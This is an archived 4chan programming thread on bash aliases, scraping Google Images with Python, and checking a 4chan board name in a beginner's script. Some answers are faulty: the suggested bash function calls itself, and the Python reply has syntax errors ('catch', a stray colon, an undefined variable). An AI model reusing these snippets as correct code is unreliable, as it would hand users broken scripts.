Another way would be to use a mutable cell (I think F# has this), and update it similarly, by replacing the contents with an updated version of the list.

Full Disclosure: I don't actually know any F#
>>
How would i take user input and put it in to an alias
livestreamer='liverstreamer -p mpv $1 best'

Calling livestreamer <url> would insert the url at $1
Scripting in bash
>>
>>51919354
Use a function instead.
>>
>>51919354
livestreamer() { livestreamer -p mpv $1 best; }
export -f livestreamer
>>
When I go to
https://www.google.com/search?tbm=isch&q=Puppy

in my browser and view the source, I get a different source than if I do
requests.get('https://www.google.com/search?tbm=isch&q=Puppy').text

Why is that?
I'm trying to grab the actual image of google image search results and not just the thumbnail but the source I get in Python only has the thumbnail...
>>
File: TinFoilHat.jpg (77 KB, 500x667) Image search: [Google]
TinFoilHat.jpg
77 KB, 500x667
>>51919304
feel ya bro
>>
>>51919406
that's not even a fedora
>>
>>51919354
zsh aliases are more flexible than bash ones btw
>>
File: .jpg (345 KB, 1600x1200) Image search: [Google]
.jpg
345 KB, 1600x1200
>>51919412
Better?
>>
File: 15 - 1.png (303 KB, 405x692) Image search: [Google]
15 - 1.png
303 KB, 405x692
Friends,

Could one of you look at my python code please? I'm very new and I'm writing a script to open 4chan on whatever board the user wants but I'm stumbling on validating the users input.

Basically I've downloaded the 4chan homepage using
def download_4chan_source():
fourchan_url = "https://www.4chan.org"
fourchan_source_unread = urllib2.Request(fourchan_url)
fourchan_source_read1 = urllib2.urlopen(fourchan_source_unread)
fourchan_source_read = fourchan_source_read1.read()
return fourchan_source_read


I then ask the user what board they want to go to and add the input to a url that is found in the homepage source
board_full_url = "//boards.4chan.org/" + which_board + "/"


I'm trying to check the board_full_url against a variable which contains the whole homepage source code. The idea being if the user inputs "fuck" instead of "g" my function will return an error instead of attempting to load an invalid url. But it's not working, it's constantly returning a flag stating the url is invalid.

def board_checker_user_input(which_board):
comparison_list = download_4chan_source()
board_full_url = "//boards.4chan.org/" + which_board + "/"

if comparison_list.find(board_full_url) != -1:
board_valid_flag = "y"
else:
board_valid_flag = "n"
return board_valid_flag


Any ideas?
>>
>>51919425
>>51919373
I only know the most basics of bash to get me through what i do.I've always wanted to try zsh...
>>51919382
Throws an error about the export.
>>
>>51919530
works on GNU bash, version 4.3.42(1)-release (x86_64-unknown-linux-gnu)
>>
>>51919387
google saves bandwidth by only giving you the thumbnail for all the images. When you ask to view the whole thing (more stuff for each image), it makes another request to pull the whole image.

idk if this is true but it's my guess.
>>
>>51919528
1) use requests

Do it like so:
import requests

base_url = 'https://boards.4chan.org/'
board = input('Enter a board'):
url += base_url + board

res = requests.get(url)
try:
res.raise_for_status() # raises a 404 exception if 404, etc. 200 (ok) does not raise an exception
catch Exception:
print "invalid board"

etc
Thread replies: 255
Thread images: 40

banner
banner
[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y] [Home]

All trademarks and copyrights on this page are owned by their respective parties. Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
If a post contains personal/copyrighted/illegal content you can contact me at [email protected] with that post and thread number and it will be removed as soon as possible.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com, send takedown notices to them.
This is a 4chan archive - all of the content originated from them. If you need IP information for a Poster - you need to contact them. This website shows only archived content.